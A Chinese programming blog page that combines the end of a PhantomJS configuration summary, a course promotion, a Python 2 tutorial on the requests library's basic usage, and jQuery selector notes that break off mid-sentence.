    "outputEncoding": "utf8"

    /* etc. */
    }

    There are some keys that do not translate directly:

    * --disk-cache => diskCacheEnabled
    * --load-images => autoLoadImages
    * --local-storage-path => offlineStoragePath
    * --local-storage-quota => offlineStorageDefaultQuota
    * --local-to-remote-url-access => localToRemoteUrlAccessEnabled
    * --web-security => webSecurityEnabled

    以上是命令行的基本配置

    实例

    在此提供官方文档实例,多对照实例练习,使用起来会更得心应手。 官方实例

    结语

    以上是博主对 PhantomJS 官方文档的基本总结和翻译,如有差错,希望大家可以指正。另外可能有的小伙伴觉得这个工具和 Python 有什么关系?不要急,后面会有 Python 和 PhantomJS 的综合使用的。

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    之前我们用了 urllib 库,这个作为入门的工具还是不错的,对了解一些爬虫的基本理念,掌握爬虫爬取的流程有所帮助。入门之后,我们就需要学习一些更加高级的内容和工具来方便我们的爬取。那么这一节来简单介绍一下 requests 库的基本用法。 注:Python 版本依然基于 2.7

    官方文档

    以下内容大多来自于官方文档,本文进行了一些修改和总结。要了解更多可以参考 官方文档

    安装

    利用 pip 安装

    1
    $ pip install requests

    或者利用 easy_install

    1
    $ easy_install requests

    通过以上两种方法均可以完成安装。

    引入

    首先我们引入一个小例子来感受一下

    1
    2
    3
    4
    5
    6
    7
    8
    import requests

    r = requests.get('http://cuiqingcai.com')
    print type(r)
    print r.status_code
    print r.encoding
    #print r.text
    print r.cookies

    以上代码我们请求了本站点的网址,然后打印出了返回结果的类型,状态码,编码方式,Cookies等内容。 运行结果如下

    1
    2
    3
    4
    <class 'requests.models.Response'>
    200
    UTF-8
    <RequestsCookieJar[]>

    怎样,是不是很方便。别急,更方便的在后面呢。

    基本请求

    requests库提供了http所有的基本请求方式。例如

    1
    2
    3
    4
    5
    r = requests.post("http://httpbin.org/post")
    r = requests.put("http://httpbin.org/put")
    r = requests.delete("http://httpbin.org/delete")
    r = requests.head("http://httpbin.org/get")
    r = requests.options("http://httpbin.org/get")

    嗯,一句话搞定。

    基本GET请求

    最基本的GET请求可以直接用get方法

    1
    r = requests.get("http://httpbin.org/get")

    如果想要加参数,可以利用 params 参数

    1
    2
    3
    4
    5
    import requests

    payload = {'key1': 'value1', 'key2': 'value2'}
    r = requests.get("http://httpbin.org/get", params=payload)
    print r.url

    运行结果

    1
    http://httpbin.org/get?key2=value2&key1=value1

    如果想请求JSON文件,可以利用 json() 方法解析 例如自己写一个JSON文件命名为a.json,内容如下

    1
    2
    3
    ["foo", "bar", {
    "foo": "bar"
    }]

    利用如下程序请求并解析

    1
    2
    3
    4
    5
    import requests

    r = requests.get("a.json")
    print r.text
    print r.json()

    运行结果如下,其中一个是直接输出内容,另外一个方法是利用 json() 方法解析,感受下它们的不同

    1
    2
    3
    4
    ["foo", "bar", {
    "foo": "bar"
    }]
    [u'foo', u'bar', {u'foo': u'bar'}]

    如果想获取来自服务器的原始套接字响应,可以取得 r.raw 。 不过需要在初始请求中设置 stream=True 。

    1
    2
    3
    4
    5
    r = requests.get('https://github.com/timeline.json', stream=True)
    r.raw
    <requests.packages.urllib3.response.HTTPResponse object at 0x101194810>
    r.raw.read(10)
    '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03'

    这样就获取了网页原始套接字内容。 如果想添加 headers,可以传 headers 参数

    1
    2
    3
    4
    5
    6
    import requests

    payload = {'key1': 'value1', 'key2': 'value2'}
    headers = {'content-type': 'application/json'}
    r = requests.get("http://httpbin.org/get", params=payload, headers=headers)
    print r.url

    通过headers参数可以增加请求头中的headers信息

    基本POST请求

    对于 POST 请求来说,我们一般需要为它增加一些参数。那么最基本的传参方法可以利用 data 这个参数。

    1
    2
    3
    4
    5
    import requests

    payload = {'key1': 'value1', 'key2': 'value2'}
    r = requests.post("http://httpbin.org/post", data=payload)
    print r.text

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    {
    "args": {},
    "data": "",
    "files": {},
    "form": {
    "key1": "value1",
    "key2": "value2"
    },
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "23",
    "Content-Type": "application/x-www-form-urlencoded",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    },
    "json": null,
    "url": "http://httpbin.org/post"
    }

    可以看到参数传成功了,然后服务器返回了我们传的数据。 有时候我们需要传送的信息不是表单形式的,需要我们传JSON格式的数据过去,所以我们可以用 json.dumps() 方法把表单数据序列化。

    1
    2
    3
    4
    5
    6
    7
    import json
    import requests

    url = 'http://httpbin.org/post'
    payload = {'some': 'data'}
    r = requests.post(url, data=json.dumps(payload))
    print r.text

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    {
    "args": {},
    "data": "{\"some\": \"data\"}",
    "files": {},
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "16",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    },
    "json": {
    "some": "data"
    },
    "url": "http://httpbin.org/post"
    }

    通过上述方法,我们可以POST JSON格式的数据 如果想要上传文件,那么直接用 file 参数即可 新建一个 a.txt 的文件,内容写上 Hello World!

    1
    2
    3
    4
    5
    6
    import requests

    url = 'http://httpbin.org/post'
    files = {'file': open('test.txt', 'rb')}
    r = requests.post(url, files=files)
    print r.text

    可以看到运行结果如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    {
    "args": {},
    "data": "",
    "files": {
    "file": "Hello World!"
    },
    "form": {},
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "156",
    "Content-Type": "multipart/form-data; boundary=7d8eb5ff99a04c11bb3e862ce78d7000",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    },
    "json": null,
    "url": "http://httpbin.org/post"
    }

    这样我们便成功完成了一个文件的上传。 requests 是支持流式上传的,这允许你发送大的数据流或文件而无需先把它们读入内存。要使用流式上传,仅需为你的请求体提供一个类文件对象即可

    1
    2
    with open('massive-body') as f:
    requests.post('http://some.url/streamed', data=f)

    这是一个非常实用方便的功能。

    Cookies

    如果一个响应中包含了cookie,那么我们可以利用 cookies 变量来拿到

    1
    2
    3
    4
    5
    6
    import requests

    url = 'http://example.com'
    r = requests.get(url)
    print r.cookies
    print r.cookies['example_cookie_name']

    以上程序仅是样例,可以用 cookies 变量来得到站点的 cookies 另外可以利用 cookies 变量来向服务器发送 cookies 信息

    1
    2
    3
    4
    5
    6
    import requests

    url = 'http://httpbin.org/cookies'
    cookies = dict(cookies_are='working')
    r = requests.get(url, cookies=cookies)
    print r.text

    运行结果

    1
    '{"cookies": {"cookies_are": "working"}}'

    可以已经成功向服务器发送了 cookies

    超时配置

    可以利用 timeout 变量来配置最大请求时间

    1
    requests.get('http://github.com', timeout=0.001)

    注:timeout 仅对连接过程有效,与响应体的下载无关。 也就是说,这个时间只限制请求的时间。即使返回的 response 包含很大内容,下载需要一定时间,然而这并没有什么卵用。

    会话对象

    在以上的请求中,每次请求其实都相当于发起了一个新的请求。也就是相当于我们每个请求都用了不同的浏览器单独打开的效果。也就是它并不是指的一个会话,即使请求的是同一个网址。比如

    1
    2
    3
    4
    5
    import requests

    requests.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
    r = requests.get("http://httpbin.org/cookies")
    print(r.text)

    结果是

    1
    2
    3
    {
    "cookies": {}
    }

    很明显,这不在一个会话中,无法获取 cookies,那么在一些站点中,我们需要保持一个持久的会话怎么办呢?就像用一个浏览器逛淘宝一样,在不同的选项卡之间跳转,这样其实就是建立了一个长久会话。 解决方案如下

    1
    2
    3
    4
    5
    6
    import requests

    s = requests.Session()
    s.get('http://httpbin.org/cookies/set/sessioncookie/123456789')
    r = s.get("http://httpbin.org/cookies")
    print(r.text)

    在这里我们请求了两次,一次是设置 cookies,一次是获得 cookies 运行结果

    1
    2
    3
    4
    5
    {
    "cookies": {
    "sessioncookie": "123456789"
    }
    }

    发现可以成功获取到 cookies 了,这就是建立一个会话到作用。体会一下。 那么既然会话是一个全局的变量,那么我们肯定可以用来全局的配置了。

    1
    2
    3
    4
    5
    6
    import requests

    s = requests.Session()
    s.headers.update({'x-test': 'true'})
    r = s.get('http://httpbin.org/headers', headers={'x-test2': 'true'})
    print r.text

    通过 s.headers.update 方法设置了 headers 的变量。然后我们又在请求中设置了一个 headers,那么会出现什么结果? 很简单,两个变量都传送过去了。 运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    {
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1",
    "X-Test": "true",
    "X-Test2": "true"
    }
    }

    如果get方法传的headers 同样也是 x-test 呢?

    1
    r = s.get('http://httpbin.org/headers', headers={'x-test': 'true'})

    嗯,它会覆盖掉全局的配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    {
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1",
    "X-Test": "true"
    }
    }

    那如果不想要全局配置中的一个变量了呢?很简单,设置为 None 即可

    1
    r = s.get('http://httpbin.org/headers', headers={'x-test': None})

    运行结果

    1
    2
    3
    4
    5
    6
    7
    8
    {
    "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.9.1"
    }
    }

    嗯,以上就是 session 会话的基本用法

    SSL证书验证

    现在随处可见 https 开头的网站,Requests可以为HTTPS请求验证SSL证书,就像web浏览器一样。要想检查某个主机的SSL证书,你可以使用 verify 参数 现在 12306 证书不是无效的嘛,来测试一下

    1
    2
    3
    4
    import requests

    r = requests.get('https://kyfw.12306.cn/otn/', verify=True)
    print r.text

    结果

    1
    requests.exceptions.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)

    果真如此 来试下 github 的

    1
    2
    3
    4
    import requests

    r = requests.get('https://github.com', verify=True)
    print r.text

    嗯,正常请求,内容我就不输出了。 如果我们想跳过刚才 12306 的证书验证,把 verify 设置为 False 即可

    1
    2
    3
    4
    import requests

    r = requests.get('https://kyfw.12306.cn/otn/', verify=False)
    print r.text

    发现就可以正常请求了。在默认情况下 verify 是 True,所以如果需要的话,需要手动设置下这个变量。

    代理

    如果需要使用代理,你可以通过为任意请求方法提供 proxies 参数来配置单个请求

    1
    2
    3
    4
    5
    6
    7
    import requests

    proxies = {
    "https": "http://41.118.132.69:4433"
    }
    r = requests.post("http://httpbin.org/post", proxies=proxies)
    print r.text

    也可以通过环境变量 HTTP_PROXY 和 HTTPS_PROXY 来配置代理

    1
    2
    export HTTP_PROXY="http://10.10.1.10:3128"
    export HTTPS_PROXY="http://10.10.1.10:1080"

    通过以上方式,可以方便地设置代理。

    API

    以上讲解了 requests 中最常用的参数,如果需要用到更多,请参考官方文档 API API

    结语

    以上总结了一下 requests 的基本用法,如果你对爬虫有了一定的基础,那么肯定可以很快上手,在此就不多赘述了。 练习才是王道,大家尽快投注于实践中吧。

    JavaScript

    前言

    之前在用jQuery,不过有时候用着用着一些用法发现并没有用到过,比较陌生,现在重新梳理一下,把易忽略的知识点总结一下,长期更新。 参考梳理来源: 慕课网

    sele1,sele2,seleN选择器

    有时需要精确的选择任意多个指定的元素,类似于从文具盒中挑选出多根自已喜欢的笔,就需要调用sele1,sele2,seleN选择器,它的调用格式如下: $(“sele1,sele2,seleN”) 其中参数sele1、sele2到seleN为有效选择器,每个选择器之间用“,”号隔开,它们可以是之前提及的各种类型选择器,如$(“#id”)、$(“.class”)、$(“selector”)选择器等。 例如,通过选择器获取其中的任意两个元素,并将它们显示的内容设为相同,如图所示: 在浏览器中显示的效果: 虽然页面中添加了三个元素,但是通过使用$(“div,p”)选择器方式获取了其中的

    元素,并设置它们显示的内容。

    prev + next选择器

    俗话说“远亲不如近邻”,而通过prev + next选择器就可以查找与“prev”元素紧邻的下一个“next”元素,格式如下: $(“prev + next”) 其中参数prev为任何有效的选择器,参数“next”为另外一个有效选择器,它们之间的“+”表示一种上下的层次关系,也就是说,“prev”元素最紧邻的下一个元素由“next”选择器返回的并且只返回唯的一个元素。 例如,使用prev + next选择器,获取

    元素最近邻的下一个元素,如下图所示: 在浏览器中显示的效果:

    prev ~ siblings选择器

    与上一节中介绍的prev + next层次选择器相同,prev ~ siblings选择器也是查找prev 元素之后的相邻元素,但前者只获取第一个相邻的元素,而后者则获取prev 元素后面全部相邻的元素,它的调用格式如下: $(“prev ~ siblings”) 其中参数prev与siblings两者之间通过“~”符号形成一种层次相邻的关系,表明siblings选择器获取的元素都是prev元素之后的同辈元素。 例如,使用prev ~ next选择器,获取

    元素后面相邻的全部元素,并设置它们在页面中显示的内容,如下图所示: 在浏览器中显示的效果: 可以看出,调用$("p~span")选择器代码,获取了

    元素下面两个(全部)的元素,该元素不包含

    元素上面的元素和不属于同辈范围的元素。

    :contains(text)过滤选择器

    与上一节介绍的:eq(index)选择器按索引查找元素相比,有时候我们可能希望按照文本内容来查找一个或多个元素,那么使用:contains(text)选择器会更加方便, 它的功能是选择包含指定字符串的全部元素,它通常与其他元素结合使用,获取包含“text”字符串内容的全部元素对象。其中参数text表示页面中的文字。 例如: 在浏览器中显示的效果: 从图中可以看出,调用li:contains('土豪')代码,可以很方便地获取

  • 包含‘土豪’字符内容的全部元素,并且只要与选择的元素中或子元素中包含该字符内容,就可以被选中。 注意:li:contains('土豪') 土豪为什么必须加单引号呢?因为它是一个字符串,而不是一个变量,所以不加单或双引号的话是会报错的。

    :has(selector)过滤选择器

    除了在上一小节介绍的使用包含的字符串内容过滤元素之外,还可以使用包含的元素名称来过滤,:has(selector)过滤选择器的功能是获取选择器中包含指定元素名称的全部元素,其中selector参数就是包含的元素名称,是被包含元素。 例如:获取指定包含某个元素名的全部

  • 元素,并改变它们显示文字的颜色,如下图所示: 在浏览器中显示的效果: 可以看出,通过使用$("li:has('p')")选择器代码,获取了包含

    元素的全部

  • 元素,并通过css方法改变了这些元素在页面中显示的文字样式。

    :hidden过滤选择器

    :hidden过滤选择器的功能是获取全部不可见的元素,这些不可见的元素中包括type属性值为hidden的元素。 例如,调用:hidden选择器获取不可见的

    元素,并将该元素的内容显示在

    元素中,如下图所示: 在浏览器中显示的效果: 从图中可以看出,先调用$("p:hidden")代码获取隐藏的

    元素,并调用该元素的html()方法获取该元素中的内容,最后将该内容显示在

    元素中。

    :visible过滤选择器

    与上一节的:hidden过滤选择器相反,:visible过滤选择器获取的是全部可见的元素,也就是说,只要不将元素的display属性值设置为“none”,那么,都可以通过该选择器获取。 例如,使用:visible选择器获取可见的

    元素,并将该元素的内容显示在

    元素中,如下图所示: 在浏览器中显示的效果: 从图中可以看出,调用$("p:visible")选择器代码,获取那个可见的

    元素,并调用html()方法获取该元素的内容,最后将该内容显示在

    元素中。

    :input表单选择器

    如何获取表单全部元素?:input表单选择器可以实现,它的功能是返回全部的表单元素,不仅包括所有标记的表单元素,而且还包括